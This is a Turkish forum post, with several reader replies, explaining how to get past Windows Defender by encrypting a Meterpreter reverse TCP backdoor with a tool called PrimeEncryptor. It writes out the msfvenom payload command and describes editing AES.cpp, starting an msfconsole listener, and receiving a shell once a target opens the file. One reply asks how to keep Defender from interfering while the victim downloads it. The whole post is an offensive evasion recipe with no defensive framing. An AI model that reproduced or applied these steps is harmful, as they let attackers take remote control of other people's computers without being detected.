PrimeEncryptor İle Windows Defender Bypass

Merhaba, bugün sizlere PrimeEncryptor aracını kullanarak Windows Defender'ı nasıl aşabileceğinizi göstereceğim.

Öncelikle aracı sanal makinemize kuralım



Dosyanın içerisine girerek CodeSnippets içerisindeki AES dosyasını PrimeEncryptor'a kopyalıyoruz.




Daha sonra bir arka kapı dosyası oluşturuyoruz. Bunun için msfvenom kullanıyoruz.

komut ---> msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<LOCAL HOST>LPORT=4444 -f raw > payload.bin








AES.cpp dosyasında bazı değişiklikler yapmamız gerekiyor, bu yüzden dosyayı açıp değişiklikleri yapıyoruz.

İlk yorum kısmını silin ve altındaki diğer yorum kısmını yorumdan kaldırın.




ilk bölüm (bölümü sil)



yorumdan yorum kısmını kaldır

Daha sonra Kaydedip Çıkın.

Python kodunu çalıştırdığımızda açılan kodda bize verilen kodları çalıştırırız.






Yükümüz oluşturuldu ve ls -l komutunu çalıştırarak bunu görebiliriz.



ip ve portu dinlemek, yazmak için msfconsol kullanıyoruz.




Hedef sistemdeki kişi dosyamızı açtığı zaman, shell bize geliyor.



Windows Defender tehdit hakkında herhangi bir uyarı vermedi. Bu şekilde Windows Defender'ı atlatmış olduk.

Teşekkürler elinize sağlık yararlı konu olmuş

Teşekkürler eline sağlık

Teşekkürler

Hocam karşı taraf indirirken Windows d buna müdahale ediyor bundan nasıl kurtulurum